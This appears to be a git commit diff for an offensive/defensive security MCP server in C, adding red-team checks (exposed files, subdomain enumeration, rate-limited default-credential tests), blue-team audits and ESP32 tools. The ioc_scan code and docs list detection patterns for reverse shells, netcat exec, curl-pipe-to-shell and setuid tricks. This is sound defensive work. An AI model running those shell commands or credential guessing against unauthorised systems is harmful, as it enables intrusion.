apex-twin 1.1.0: red, blue and ESP32 modules

The suite grows from reconnaissance into a red/blue/hardware toolset; existing
tools and file formats are unchanged.

Red (tools_red.c):
- vuln_check: non-destructive verification of exposed .git/HEAD, .env, open
  directory listing and phpinfo; each hit saves the raw response as evidence;
  .env returns key names only, never values.
- subdomain_enum: built-in wordlist or caller-supplied names under one in-scope
  domain; every name goes through the gate before it is resolved.
- cred_test: HTTP Basic default credentials, max 20 attempts, 200 ms apart,
  stops on 429, refuses a path that answers without authentication.

Blue (tools_blue.c):
- hardening_audit: sshd_config, sysctl, /etc/shadow mode, world-writable /etc
  directories, listening sockets, firewall files, SUID count; scored findings.
- log_audit: auth-log failures per IP (flagged at five), invalid users,
  accepted logins; path restricted to /var/log and the state dir.
- ioc_scan: directory walk for /dev/tcp shells, bash -i, base64|sh, curl|sh,
  nc -e, socat EXEC:, setuid chmod, systemd units under /tmp.

ESP32 (tools_esp.c):
- esp_info (esptool chip_id plus USB VID/PID), esp_monitor (read the console,
  send nothing), esp_read_flash (up to 4 MiB into evidence/). No flashing.

Shared helpers exported: apex_http_once, apex_status_code, apex_looks_tls,
apex_serial_open, apex_base64_alloc. Gate audit pins 54 tools with a local-exec
exception for the two esptool tools that have no network target.

439 checks with local fixtures for every new path, ASan suite green, analyze
clean, release-check green including distcheck 1.1.0.
This commit is contained in:
lotherk committed 2026-11-21 11:00:39 +00:00
1 parent 32ece44c58
commit da4d9ab4d3
15 files changed
+2145 -28

No files matched your search

+27 -1
View File
@@ -8,7 +8,33 @@ fields, and state from an older version is read by a newer one.
There are no git tags. The hash next to a version is the commit that introduced
it; the current entry is the commit that adds this section.
## 1.0.4 — 2026-11-21 — this change
## 1.1.0 — 2026-11-21 — this change
The suite grows from reconnaissance into a red/blue/hardware toolset. No
existing tool changed behaviour or file format.
- **Red** (`tools_red.c`): `vuln_check` verifies exposed `.git/HEAD`, `.env`,
directory listing and `phpinfo` non-destructively and saves the response as
evidence (only `.env` key names are returned, never values); `subdomain_enum`
resolves a built-in wordlist or your names under one in-scope domain, gate
checking every name before the lookup; `cred_test` tries HTTP Basic default
credentials, capped at 20 attempts with a 200 ms pause, stopping on 429 and
refusing a path that answers without authentication.
- **Blue** (`tools_blue.c`): `hardening_audit` scores sshd_config, sysctl,
`/etc/shadow` mode, world-writable `/etc` directories, listening sockets,
firewall files and SUID count; `log_audit` summarises auth-log failures per
IP and flags five or more; `ioc_scan` walks a directory for reverse-shell,
decode-and-run, netcat, setuid and systemd-under-/tmp strings.
- **ESP32** (`tools_esp.c`): `esp_info` (esptool chip_id plus USB VID/PID),
`esp_monitor` (read the console, send nothing), `esp_read_flash` (dump up to
4 MiB into `evidence/`). Flashing is deliberately not included.
- Gate audit pins 54 tools and has a named exception for the two ESP tools that
spawn a local `esptool` without a network target.
- Tests: local fixtures for all of it (exposed/clean origin, Basic-auth server
with success/failure/429, auth-log file, IOC directory, PTY console).
439 checks. Coverage 79.0%.
## 1.0.4 — 2026-11-21 — 32ece44
- License changed to **CNCL 1.1** (Could Not Care Less License); `LICENSE`
carries the unchanged text, and README, SECURITY.md and the man page say so.
+54 -14
View File
@@ -5,11 +5,11 @@ no Python in the serving path. It gives an agent real reconnaissance and real we
testing behind a scope gate that refuses everything until a rules-of-engagement
file says otherwise.
**45 tools · 397 end-to-end checks · 340 fuzz cases · 79.4% line coverage · ~246 KiB**
**54 tools · 439 end-to-end checks · 340 fuzz cases · 79.0% line coverage · ~276 KiB**
```
$ ./apex-twin --check
{"version":"1.0.4","tools":45,...,"scope":{"loaded":true,...}}
{"version":"1.1.0","tools":54,...,"scope":{"loaded":true,...}}
```
APEX TWIN was inspired by [ARTEX](https://github.com/Autumn-27/artex) (scope
@@ -20,16 +20,25 @@ nothing; it takes the ideas, not the code.
## What it is, and what it is not
**It is** a tool server for one operator: a real TCP connect scan, nmap/dig/
openssl through gated child processes, HTTP requests and header audits, CORS and
cookie checks, path discovery, safe SQLi/XSS lead probes, an inventory, traffic
capture, findings with evidence, a report writer, a command guard, and an ESP32
Marauder bridge — all behind one gate.
**It is** a tool server for one operator, covering both sides of an engagement:
**It is not** an exploit framework. There is no shell, no payload that reads a
database, no post-exploitation, no TLS interception, no agent loop. Every tool
either observes (scan, fetch, capture) or proves (headers, certificate,
reflected payload). Radio transmission is a separate, explicitly armed switch.
- **red**: a real TCP connect scan, nmap/dig/openssl through gated child
processes, HTTP requests and header audits, CORS and cookie checks, path
discovery, SQLi/XSS lead probes, exposed-artifact verification, subdomain
enumeration, default-credential checks;
- **blue**: a read-only host posture audit, auth-log brute-force summary and an
indicator scan for persistence and remote-execution strings;
- **hardware**: the ESP32 Marauder CLI and ESP32 board tools (chip identity,
serial monitor, flash dump).
All of it behind one gate, with an inventory, traffic capture, findings with
evidence and a report writer.
**It is not** an exploit framework. There is no shell, no exploit payload, no
post-exploitation, no C2, no persistence, no TLS interception, no agent loop.
Every tool observes, proves, or (for the credential check) makes a small,
rate-limited authentication attempt. Radio transmission is a separate,
explicitly armed switch.
The MCP client is the agent. This process is the gate, the tools and the records.
@@ -140,7 +149,7 @@ closes a request whose head or body does not arrive within
---
## Tools (45)
## Tools (54)
### Scope and bookkeeping
@@ -233,6 +242,30 @@ The serial guard sends a bare CRLF and refuses on console markers (`login:`,
`password:`, `console (`, …). Transmission requires `serial_tx: true` **and** a
command in the allowlist: a receiver is a scanner, a transmitter is an attack.
### Red team
| Tool | What it does |
|---|---|
| `vuln_check` | Non-destructive verification of `/.git/HEAD`, `/.env` (keys only, values redacted), directory listing and `phpinfo`; raw response saved as evidence |
| `subdomain_enum` | Built-in wordlist (or your names) under one in-scope domain; every name is gate-checked before it is resolved |
| `cred_test` | HTTP Basic default credentials, max 20 attempts, 200 ms apart, stops on 429, refuses an endpoint that answers without auth |
### Blue team
| Tool | What it does |
|---|---|
| `hardening_audit` | Read-only local posture: sshd_config, sysctl, `/etc/shadow` mode, world-writable `/etc` dirs, listening sockets, firewall files, SUID count; scored findings |
| `log_audit` | Auth-log summary: failures per IP (flagged at 5+), invalid users, accepted logins; paths limited to `/var/log/` and the state dir |
| `ioc_scan` | Walk a directory for `/dev/tcp` shells, `bash -i`, `base64|sh`, `curl|sh`, `nc -e`, `socat EXEC:`, setuid chmod, systemd units under `/tmp` |
### ESP32
| Tool | What it does |
|---|---|
| `esp_info` | `esptool chip_id` on the serial port, plus USB VID/PID when sysfs exposes it |
| `esp_monitor` | Read the console for N seconds; sends nothing |
| `esp_read_flash` | Dump up to 4 MiB of flash into `evidence/` with `esptool read_flash` |
### Method
| Tool | What it does |
@@ -400,6 +433,8 @@ The full threat model, trust boundaries and a hardening checklist are in
| Findings per report | 1024 |
| Tool timeout | default 60 s, hard cap 900 s |
| Radio scan | 3–300 s, always ends with `stopscan` |
| Credential attempts | 20 per call, 200 ms apart, stop on 429 |
| IOC scan | 20 000 files maximum, 100 findings, 1 MiB per file |
---
@@ -410,7 +445,7 @@ Flags are fixed: `-std=c99 -Wall -Wextra -Wpedantic -Werror` plus
```sh
make # apex-twin
make test # version check + gate audit + 397 end-to-end checks
make test # version check + gate audit + 439 end-to-end checks
make version-check # the five places that carry a version must agree
make gate-audit # static: every target-taking tool calls the gate
make asan # apex-twin-asan with ASan + UBSan
@@ -512,6 +547,9 @@ src/tools_kb.c technique and tool notes (data, not code)
src/tools_asset.c inventory tools
src/tools_report.c report renderers (Markdown, CSV, JSON)
src/tools_traffic.c traffic_list / traffic_read
src/tools_red.c vuln_check, subdomain_enum, cred_test
src/tools_blue.c hardening_audit, log_audit, ioc_scan
src/tools_esp.c esp_info, esp_monitor, esp_read_flash
src/tools_guard.c guard_check
src/apex-twin.c MCP stdio + HTTP face, --check, --version
vendor/libmcp/ header-only MCP transport (JSON-RPC, tools, HTTP body)
@@ -540,7 +578,7 @@ examples/ scope.json
## Status
1.0.4. Built and run: 45 tools, 397 checks, 340 fuzz cases and 79.4% line
1.1.0. Built and run: 54 tools, 439 checks, 340 fuzz cases and 79.0% line
coverage. The loop closes: a probe captures the exchange as a pair, a finding
points at it, `finding_update` gives it a state, an asset records the host it
came from, `cors_check`/`cookie_audit`/`http_options` turn a web answer into a
@@ -559,6 +597,8 @@ keeps the gaps visible.
1.x is the first stable line: the gate invariant and the on-disk JSON formats
(fields may be added, old files stay readable) are the compatibility promise.
1.1 added the red, blue and ESP32 tool groups without changing any existing
tool or file format.
Not yet wired into a fleet router, and there is no TLS interception.
+8 -1
View File
@@ -9,7 +9,7 @@ problem.
The supported line is the one printed by `apex-twin --version` for the tree you
built; this document ships with that same tree. At the time of writing the line
is **1.0.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
is **1.1.x** (`src/apex.h`, `APEX_VERSION`). Security fixes land on the current
line. The 1.0 line promises that the on-disk JSON formats for findings, assets
and traffic only gain fields, so state stays readable; older builds are still
rebuilt rather than patched in place.
@@ -56,6 +56,13 @@ only narrow what the proxy does (the scope gate still runs first).
mid-scan still leaves the intent on disk.
- **Accidental exposure.** Both listeners bind loopback only; the HTTP face and
the proxy do not authenticate.
- **Credential guessing.** `cred_test` makes authentication attempts, but only
against an in-scope HTTP Basic endpoint, at most 20 of them, with a 200 ms
pause, stopping on 429, and it refuses a path that needs no authentication
(nothing to test). Keep the scope and the rules of engagement explicit.
- **Local reads.** `hardening_audit` and `ioc_scan` read files the operator can
already read; `log_audit` only accepts paths under `/var/log/` or the state
directory. None of them change anything.
- **Memory-unsafe parsing.** Scope, rewrite, HTTP and proxy parsers are fuzzed
under ASan/UBSan and `gcc -fanalyzer`; a sanitizer report is a test failure.
+6 -3
View File
@@ -1,5 +1,5 @@
.\" apex-twin.1 - manual page for APEX TWIN
.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.0.4" "User Commands"
.TH APEX-TWIN 1 "2026-11-21" "apex-twin 1.1.0" "User Commands"
.SH NAME
apex-twin \- scope\-gated offensive\-security MCP server
.SH SYNOPSIS
@@ -33,8 +33,11 @@ written.
The binary links libc only; plain HTTP is spoken in\-process, HTTPS is handed to
.BR curl ,
and the radio is the ESP32 Marauder serial CLI.
It is not an exploit framework: there is no shell, no payload that reads data,
and no post\-exploitation.
It is not an exploit framework: there is no shell, no exploit payload, no
post\-exploitation, no C2 and no persistence. Besides reconnaissance and web
testing it carries offensive verification (vuln_check, subdomain_enum,
cred_test), defensive audits (hardening_audit, log_audit, ioc_scan) and ESP32
board tools (esp_info, esp_monitor, esp_read_flash).
.SH MODES
.TP
.B apex-twin
+6
View File
@@ -118,6 +118,12 @@ static void build_tools(void)
g_tools[n++] = TOOLS_ASSET[i];
for (i = 0; i < TOOLS_TRAFFIC_N && n < 64; i++)
g_tools[n++] = TOOLS_TRAFFIC[i];
for (i = 0; i < TOOLS_RED_N && n < 64; i++)
g_tools[n++] = TOOLS_RED[i];
for (i = 0; i < TOOLS_BLUE_N && n < 64; i++)
g_tools[n++] = TOOLS_BLUE[i];
for (i = 0; i < TOOLS_ESP_N && n < 64; i++)
g_tools[n++] = TOOLS_ESP[i];
g_srv.name = "apex-twin";
g_srv.version = APEX_VERSION;
+1 -1
View File
@@ -15,7 +15,7 @@
#include "mcp.h"
#define APEX_VERSION "1.0.4"
#define APEX_VERSION "1.1.0"
#define APEX_MAX_OUT (1u << 20)
#define APEX_PATH_MAX 512
#define APEX_PATH_FULL 1024
+15
View File
@@ -422,6 +422,21 @@ static void base64_put(mcp_buf *b, const unsigned char *p, size_t n)
}
}
char *apex_base64_alloc(const char *data, size_t len)
{
mcp_buf b;
char *out;
mcp_buf_init(&b);
base64_put(&b, (const unsigned char *)data, len);
if (b.p == NULL)
mcp_buf_puts(&b, "");
out = b.p;
b.p = NULL; /* ownership moves to the caller */
mcp_buf_free(&b);
return out;
}
int apex_evidence_read(const char *name, mcp_buf *b)
{
char path[APEX_PATH_FULL];
+20
View File
@@ -16,6 +16,20 @@ int gated_cmd(mcp_conn *c, const char *tool, const char *target, int port,
int tcp_probe(const char *host, int port, int timeout_ms);
int tcp_connect_host(const char *host, int port, int timeout_ms);
/* Shared HTTP client (in-process; TLS goes through curl). */
int apex_http_once(const char *host, int port, int tls, const char *method,
const char *path, const char *body, const char *headers,
int timeout_ms, char **out, size_t *out_len,
char *status_line, size_t status_n);
int apex_status_code(const char *status_line);
int apex_looks_tls(int port);
/* Shared serial open for the radio and the ESP32 tools. */
int apex_serial_open(const char *path, int baud);
/* malloc'd base64 of len bytes, NUL-terminated. */
char *apex_base64_alloc(const char *data, size_t len);
extern const mcp_tool TOOLS_RECON[];
extern const size_t TOOLS_RECON_N;
extern const mcp_tool TOOLS_WEB[];
@@ -32,5 +46,11 @@ extern const mcp_tool TOOLS_ASSET[];
extern const size_t TOOLS_ASSET_N;
extern const mcp_tool TOOLS_TRAFFIC[];
extern const size_t TOOLS_TRAFFIC_N;
extern const mcp_tool TOOLS_RED[];
extern const size_t TOOLS_RED_N;
extern const mcp_tool TOOLS_BLUE[];
extern const size_t TOOLS_BLUE_N;
extern const mcp_tool TOOLS_ESP[];
extern const size_t TOOLS_ESP_N;
#endif /* APEX_TOOLS_H */
+750
View File
@@ -0,0 +1,750 @@
/*
* tools_blue.c - the defensive side: posture, logs, indicators.
*
* hardening_audit read-only local audit: sshd, sysctl, shadow perms,
* world-writable dirs in /etc, listening sockets, firewall
* config, SUID binaries. Scored, with findings.
* log_audit auth-log brute-force summary: failures per IP, targeted
* users, accepted logins, threshold flag.
* ioc_scan walk a directory for common persistence and
* remote-execution strings (reverse shells, pipes to a
* shell, setuid chmod, systemd units under /tmp).
*
* None of these touch a network or change anything on disk. They are the
* "did anyone notice" half of an engagement: run them on the host you defend.
*/
#include <dirent.h>
#include <errno.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <sys/stat.h>
#include <unistd.h>
#include "apex.h"
#include "tools.h"
/* ------------------------------------------------------------- utilities */
static int read_text(const char *path, char *buf, size_t cap)
{
FILE *f;
size_t n;
if (cap == 0)
return -1;
f = fopen(path, "rb");
if (f == NULL)
return -1;
n = fread(buf, 1, cap - 1, f);
fclose(f);
buf[n] = '\0';
return (int)n;
}
static void trim_eol(char *s)
{
size_t n = strlen(s);
while (n > 0 && (s[n - 1] == '\n' || s[n - 1] == '\r' ||
s[n - 1] == ' ' || s[n - 1] == '\t'))
s[--n] = '\0';
}
static void add_finding(mcp_buf *b, int *first, const char *id,
const char *severity, const char *fmt, ...)
{
va_list ap;
char detail[512];
va_start(ap, fmt);
vsnprintf(detail, sizeof(detail), fmt, ap);
va_end(ap);
if (!*first)
mcp_buf_puts(b, ",");
*first = 0;
mcp_buf_puts(b, "{\"id\":");
apex_json_str(b, id);
mcp_buf_puts(b, ",\"severity\":");
apex_json_str(b, severity);
mcp_buf_puts(b, ",\"detail\":");
apex_json_str(b, detail);
mcp_buf_puts(b, "}");
}
/* "PermitRootLogin yes" -> value; keys are case-insensitive, # is a comment */
static int sshd_value(const char *text, const char *key, char *out, size_t n)
{
const char *p = text;
size_t kl = strlen(key);
while (p != NULL && *p != '\0') {
const char *eol = strchr(p, '\n');
const char *s = p;
size_t len = eol != NULL ? (size_t)(eol - p) : strlen(p);
size_t i = 0;
while (*s == ' ' || *s == '\t')
s++;
if (*s != '#' && (size_t)(p + len - s) > kl &&
strncasecmp(s, key, kl) == 0 &&
(s[kl] == ' ' || s[kl] == '\t')) {
const char *v = s + kl;
size_t vl;
while (*v == ' ' || *v == '\t')
v++;
vl = (size_t)(p + len - v);
if (vl >= n)
vl = n - 1;
memcpy(out, v, vl);
out[vl] = '\0';
trim_eol(out);
return 1;
}
p = eol != NULL ? eol + 1 : NULL;
(void)i;
}
return 0;
}
static int file_size(const char *path, long *size)
{
struct stat st;
if (stat(path, &st) != 0)
return -1;
*size = (long)st.st_size;
return 0;
}
static int sysctl_int(const char *path, int dflt)
{
char buf[64];
if (read_text(path, buf, sizeof(buf)) < 0)
return dflt;
return atoi(buf);
}
static int count_world_writable_etc(int *first_list)
{
DIR *d = opendir("/etc");
struct dirent *ent;
int count = 0;
if (d == NULL)
return 0;
while ((ent = readdir(d)) != NULL) {
char path[512];
struct stat st;
if (ent->d_name[0] == '.')
continue;
snprintf(path, sizeof(path), "/etc/%s", ent->d_name);
if (lstat(path, &st) != 0 || !S_ISDIR(st.st_mode))
continue;
if ((st.st_mode & S_IWOTH) != 0) {
if (count < 8)
first_list[count] = 1;
count++;
}
}
closedir(d);
return count;
}
static int listening_ports(int ports[64])
{
static const char *files[2] = { "/proc/net/tcp", "/proc/net/tcp6" };
int n = 0;
int f;
for (f = 0; f < 2; f++) {
FILE *fp = fopen(files[f], "rb");
char line[512];
if (fp == NULL)
continue;
if (fgets(line, sizeof(line), fp) == NULL) { /* header */
fclose(fp);
continue;
}
while (fgets(line, sizeof(line), fp) != NULL) {
const char *c1 = strchr(line, ':');
const char *c2 = c1 != NULL ? strchr(c1 + 1, ':') : NULL;
char *end = NULL;
unsigned long port;
int i;
int dup = 0;
if (c2 == NULL || strstr(line, " 0A ") == NULL)
continue;
port = strtoul(c2 + 1, &end, 16);
if (end == NULL || port == 0 || port > 65535)
continue;
for (i = 0; i < n; i++)
if ((int)port == ports[i])
dup = 1;
if (!dup && n < 64)
ports[n++] = (int)port;
}
fclose(fp);
}
return n;
}
static int suid_binaries(char names[8][64])
{
static const char *dirs[] = { "/usr/bin", "/usr/sbin", "/bin", "/sbin",
NULL };
int count = 0;
int d;
for (d = 0; dirs[d] != NULL; d++) {
DIR *dp = opendir(dirs[d]);
struct dirent *ent;
if (dp == NULL)
continue;
while ((ent = readdir(dp)) != NULL) {
char path[512];
struct stat st;
if (ent->d_name[0] == '.')
continue;
snprintf(path, sizeof(path), "%s/%s", dirs[d], ent->d_name);
if (lstat(path, &st) != 0 || !S_ISREG(st.st_mode))
continue;
if ((st.st_mode & S_ISUID) != 0) {
if (count < 8) {
size_t nl = strlen(ent->d_name);
if (nl > 63)
nl = 63;
memcpy(names[count], ent->d_name, nl);
names[count][nl] = '\0';
}
count++;
}
}
closedir(dp);
}
return count;
}
static void t_hardening_audit(mcp_conn *c, const mcp_json *args, void *user)
{
static char config[65536];
mcp_buf b;
int first = 1;
int score = 100;
int ww = 0;
int ww_list[8];
int ports[64];
int nports;
int suid;
char suid_names[8][64];
int findings = 0;
char value[128];
(void)args;
(void)user;
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"findings\":[");
if (read_text("/etc/ssh/sshd_config", config, sizeof(config)) > 0) {
if (sshd_value(config, "PermitRootLogin", value, sizeof(value)) &&
strcasecmp(value, "yes") == 0) {
add_finding(&b, &first, "ssh-root-login", "high",
"sshd_config allows root login");
score -= 12;
findings++;
}
if (sshd_value(config, "PasswordAuthentication", value,
sizeof(value)) &&
strcasecmp(value, "yes") == 0) {
add_finding(&b, &first, "ssh-password-auth", "medium",
"sshd_config allows password authentication");
score -= 6;
findings++;
}
if (sshd_value(config, "PermitEmptyPasswords", value,
sizeof(value)) &&
strcasecmp(value, "yes") == 0) {
add_finding(&b, &first, "ssh-empty-passwords", "high",
"sshd_config permits empty passwords");
score -= 12;
findings++;
}
}
if (sysctl_int("/proc/sys/net/ipv4/ip_forward", 0) == 1) {
add_finding(&b, &first, "ip-forward", "medium",
"net.ipv4.ip_forward=1 (host routes packets)");
score -= 6;
findings++;
}
if (sysctl_int("/proc/sys/net/ipv4/tcp_syncookies", 1) == 0) {
add_finding(&b, &first, "syncookies-off", "medium",
"net.ipv4.tcp_syncookies=0 (SYN flood protection off)");
score -= 6;
findings++;
}
if (sysctl_int("/proc/sys/net/ipv4/conf/all/rp_filter", 1) == 0) {
add_finding(&b, &first, "rp-filter-off", "low",
"net.ipv4.conf.all.rp_filter=0 (no source validation)");
score -= 2;
findings++;
}
{
struct stat st;
if (stat("/etc/shadow", &st) == 0 && (st.st_mode & 0077) != 0) {
add_finding(&b, &first, "shadow-perms", "critical",
"/etc/shadow is readable beyond root (mode %04o)",
(unsigned)(st.st_mode & 07777));
score -= 20;
findings++;
}
}
ww = count_world_writable_etc(ww_list);
if (ww > 0) {
add_finding(&b, &first, "etc-world-writable", "medium",
"%d world-writable director%s under /etc", ww,
ww == 1 ? "y" : "ies");
score -= 6;
findings++;
}
{
long size = 0;
int have = 0;
if (file_size("/etc/nftables.conf", &size) == 0 && size > 0)
have = 1;
if (file_size("/etc/iptables/rules.v4", &size) == 0 && size > 0)
have = 1;
if (!have) {
add_finding(&b, &first, "no-firewall-config", "medium",
"no non-empty nftables/iptables rule file found");
score -= 6;
findings++;
}
}
suid = suid_binaries(suid_names);
if (suid > 40) {
add_finding(&b, &first, "suid-count", "low",
"%d SUID binaries in the system paths", suid);
score -= 2;
findings++;
}
nports = listening_ports(ports);
if (score < 0)
score = 0;
mcp_buf_printf(&b, "],\"score\":%d,\"findings_count\":%d,"
"\"counts\":{\"suid\":%d,\"listening\":%d,"
"\"world_writable\":%d},\"listening_ports\":[",
score, findings, suid, nports, ww);
{
int i;
for (i = 0; i < nports; i++) {
if (i > 0)
mcp_buf_puts(&b, ",");
mcp_buf_printf(&b, "%d", ports[i]);
}
}
mcp_buf_puts(&b, "]}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
}
/* --------------------------------------------------------------- log_audit */
typedef struct {
char ip[64];
int count;
} ip_count;
static int allowed_log_path(const char *path)
{
size_t hl;
if (path == NULL || path[0] != '/')
return 0;
if (strncmp(path, "/var/log/", 9) == 0)
return 1;
hl = strlen(g_cfg.home);
return hl > 0 && strncmp(path, g_cfg.home, hl) == 0;
}
static void t_log_audit(mcp_conn *c, const mcp_json *args, void *user)
{
const char *path = mcp_arg_string(args, "path");
int limit = mcp_arg_int(args, "limit", 5000);
FILE *f;
char *line = NULL;
size_t cap = 0;
ip_count ips[64];
int nips = 0;
char users[8][64];
int nusers = 0;
int lines = 0;
int failed = 0;
int invalid = 0;
int accepted = 0;
int failures_auth = 0;
mcp_buf b;
int first = 1;
int i;
(void)user;
if (path == NULL || *path == '\0')
path = "/var/log/auth.log";
if (!allowed_log_path(path)) {
mcp_reply_error(c, "path must be under /var/log/ or the state dir");
return;
}
if (limit <= 0 || limit > 50000)
limit = 5000;
memset(ips, 0, sizeof(ips));
f = fopen(path, "rb");
if (f == NULL) {
mcp_buf_init(&b);
mcp_buf_printf(&b, "cannot read %s: %s", path, strerror(errno));
mcp_reply_error(c, b.p);
mcp_buf_free(&b);
return;
}
while (lines < limit && getline(&line, &cap, f) >= 0) {
char *from;
char ip[64];
lines++;
if (strstr(line, "Failed password") != NULL) {
failed++;
from = strstr(line, " from ");
if (from != NULL) {
size_t n = 0;
from += 6;
while (from[n] != '\0' && from[n] != ' ' &&
from[n] != '\n' && n + 1 < sizeof(ip)) {
ip[n] = from[n];
n++;
}
ip[n] = '\0';
if (n > 0) {
int hit = -1;
for (i = 0; i < nips; i++)
if (strcmp(ips[i].ip, ip) == 0)
hit = i;
if (hit < 0 && nips < 64) {
snprintf(ips[nips].ip, sizeof(ips[nips].ip),
"%s", ip);
ips[nips].count = 1;
nips++;
} else if (hit >= 0) {
ips[hit].count++;
}
}
}
}
if (strstr(line, "Invalid user") != NULL) {
char *u = strstr(line, "Invalid user ");
invalid++;
if (u != NULL && nusers < 8) {
size_t n = 0;
u += 13;
while (u[n] != '\0' && u[n] != ' ' && u[n] != '\n' &&
n + 1 < sizeof(users[0])) {
users[nusers][n] = u[n];
n++;
}
users[nusers][n] = '\0';
if (n > 0)
nusers++;
}
}
if (strstr(line, "Accepted password") != NULL ||
strstr(line, "Accepted publickey") != NULL)
accepted++;
if (strstr(line, "authentication failure") != NULL)
failures_auth++;
}
free(line);
fclose(f);
mcp_buf_init(&b);
mcp_buf_puts(&b, "{\"path\":");
apex_json_str(&b, path);
mcp_buf_printf(&b, ",\"lines\":%d,\"failed\":%d,\"invalid_users\":%d,"
"\"accepted\":%d,\"auth_failures\":%d,\"brute_force\":[",
lines, failed, invalid, accepted, failures_auth);
for (i = 0; i < nips; i++) {
if (ips[i].count < 5)
continue;
if (!first)
mcp_buf_puts(&b, ",");
first = 0;
mcp_buf_puts(&b, "{\"ip\":");
apex_json_str(&b, ips[i].ip);
mcp_buf_printf(&b, ",\"failures\":%d}", ips[i].count);
}
mcp_buf_puts(&b, "],\"targeted_users\":[");
for (i = 0; i < nusers; i++) {
if (i > 0)
mcp_buf_puts(&b, ",");
apex_json_str(&b, users[i]);
}
mcp_buf_puts(&b, "]}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
}
/* ---------------------------------------------------------------- ioc_scan */
typedef struct {
mcp_buf *b;
int first;
int count;
int truncated;
int files;
int max_files;
} ioc_ctx;
static int ioc_line(ioc_ctx *ctx, const char *path, int lineno,
const char *line, const char *pattern)
{
char snippet[140];
size_t n = 0;
if (ctx->count >= 100) {
ctx->truncated = 1;
return 0;
}
while (line[n] != '\0' && line[n] != '\n' && n + 1 < sizeof(snippet)) {
char ch = line[n];
snippet[n] = (ch == '\t') ? ' ' : ch;
n++;
}
while (n > 0 && (snippet[n - 1] == ' ' || snippet[n - 1] == '\r'))
n--;
snippet[n] = '\0';
if (!ctx->first)
mcp_buf_puts(ctx->b, ",");
ctx->first = 0;
ctx->count++;
mcp_buf_puts(ctx->b, "{\"path\":");
apex_json_str(ctx->b, path);
mcp_buf_printf(ctx->b, ",\"line\":%d,\"pattern\":", lineno);
apex_json_str(ctx->b, pattern);
mcp_buf_puts(ctx->b, ",\"snippet\":");
apex_json_str(ctx->b, snippet);
mcp_buf_puts(ctx->b, "}");
return 1;
}
static void scan_file(ioc_ctx *ctx, const char *path)
{
FILE *f;
char *buf;
long size = 0;
int lineno = 0;
char *line;
char *save = NULL;
if (ctx->files >= ctx->max_files) {
ctx->truncated = 1;
return;
}
if (file_size(path, &size) != 0 || size <= 0 || size > (1L << 20))
return;
f = fopen(path, "rb");
if (f == NULL)
return;
buf = malloc((size_t)size + 1);
if (buf == NULL) {
fclose(f);
return;
}
if (fread(buf, 1, (size_t)size, f) != (size_t)size) {
free(buf);
fclose(f);
return;
}
fclose(f);
buf[size] = '\0';
ctx->files++;
{
long k;
for (k = 0; k < size && k < 512; k++)
if (buf[k] == '\0') {
free(buf);
return; /* binary */
}
}
line = strtok_r(buf, "\n", &save);
while (line != NULL) {
lineno++;
if (strstr(line, "/dev/tcp/") != NULL)
ioc_line(ctx, path, lineno, line, "reverse-shell");
else if (strstr(line, "bash -i") != NULL &&
strchr(line, '>') != NULL)
ioc_line(ctx, path, lineno, line, "reverse-shell");
else if (strstr(line, "base64") != NULL &&
strstr(line, "-d") != NULL && strstr(line, "sh") != NULL)
ioc_line(ctx, path, lineno, line, "decode-and-run");
else if ((strstr(line, "curl ") != NULL ||
strstr(line, "wget ") != NULL) &&
(strstr(line, "| sh") != NULL || strstr(line, "|sh") != NULL ||
strstr(line, "| bash") != NULL))
ioc_line(ctx, path, lineno, line, "remote-code");
else if (strstr(line, "nc -e") != NULL ||
strstr(line, "ncat -e") != NULL ||
(strstr(line, "socat") != NULL &&
strstr(line, "EXEC:") != NULL))
ioc_line(ctx, path, lineno, line, "netcat-exec");
else if (strstr(line, "chmod 4755") != NULL ||
strstr(line, "chmod u+s") != NULL)
ioc_line(ctx, path, lineno, line, "setuid");
else if (strstr(line, "ExecStart=/tmp/") != NULL ||
strstr(line, "ExecStart=/dev/shm/") != NULL)
ioc_line(ctx, path, lineno, line, "systemd-tmp");
else if (strstr(line, "authorized_keys") != NULL &&
(strchr(line, '>') != NULL ||
strstr(line, "tee") != NULL))
ioc_line(ctx, path, lineno, line, "ssh-key-write");
line = strtok_r(NULL, "\n", &save);
}
free(buf);
}
static void scan_dir(ioc_ctx *ctx, const char *dir, int depth)
{
DIR *d;
struct dirent *ent;
if (depth > 6)
return;
d = opendir(dir);
if (d == NULL)
return;
while ((ent = readdir(d)) != NULL) {
char path[1024];
struct stat st;
if (ctx->files >= ctx->max_files)
break;
if (ent->d_name[0] == '.' &&
(ent->d_name[1] == '\0' ||
(ent->d_name[1] == '.' && ent->d_name[2] == '\0')))
continue;
{
size_t dl = strlen(dir);
size_t nl = strlen(ent->d_name);
if (dl + nl + 2 > sizeof(path))
continue;
memcpy(path, dir, dl);
path[dl] = '/';
memcpy(path + dl + 1, ent->d_name, nl + 1);
}
if (lstat(path, &st) != 0)
continue;
if (S_ISLNK(st.st_mode))
continue;
if (S_ISDIR(st.st_mode))
scan_dir(ctx, path, depth + 1);
else if (S_ISREG(st.st_mode))
scan_file(ctx, path);
}
closedir(d);
}
static void t_ioc_scan(mcp_conn *c, const mcp_json *args, void *user)
{
const char *path = mcp_arg_string(args, "path");
int max_files = mcp_arg_int(args, "limit", 2000);
struct stat st;
mcp_buf b;
ioc_ctx ctx;
(void)user;
if (path == NULL || *path == '\0')
path = "/etc";
if (path[0] != '/') {
mcp_reply_error(c, "path must be absolute");
return;
}
if (stat(path, &st) != 0 || !S_ISDIR(st.st_mode)) {
mcp_reply_error(c, "path is not a directory");
return;
}
if (max_files <= 0 || max_files > 20000)
max_files = 2000;
mcp_buf_init(&b);
memset(&ctx, 0, sizeof(ctx));
ctx.b = &b;
ctx.first = 1;
ctx.max_files = max_files;
mcp_buf_puts(&b, "{\"path\":");
apex_json_str(&b, path);
mcp_buf_puts(&b, ",\"findings\":[");
scan_dir(&ctx, path, 0);
mcp_buf_printf(&b, "],\"files_scanned\":%d,\"findings_count\":%d,"
"\"truncated\":%s}", ctx.files, ctx.count,
ctx.truncated ? "true" : "false");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
}
const mcp_tool TOOLS_BLUE[] = {
{ "hardening_audit",
"Read-only posture audit of the local host: sshd_config (root login, "
"password auth, empty passwords), sysctl (ip_forward, syncookies, "
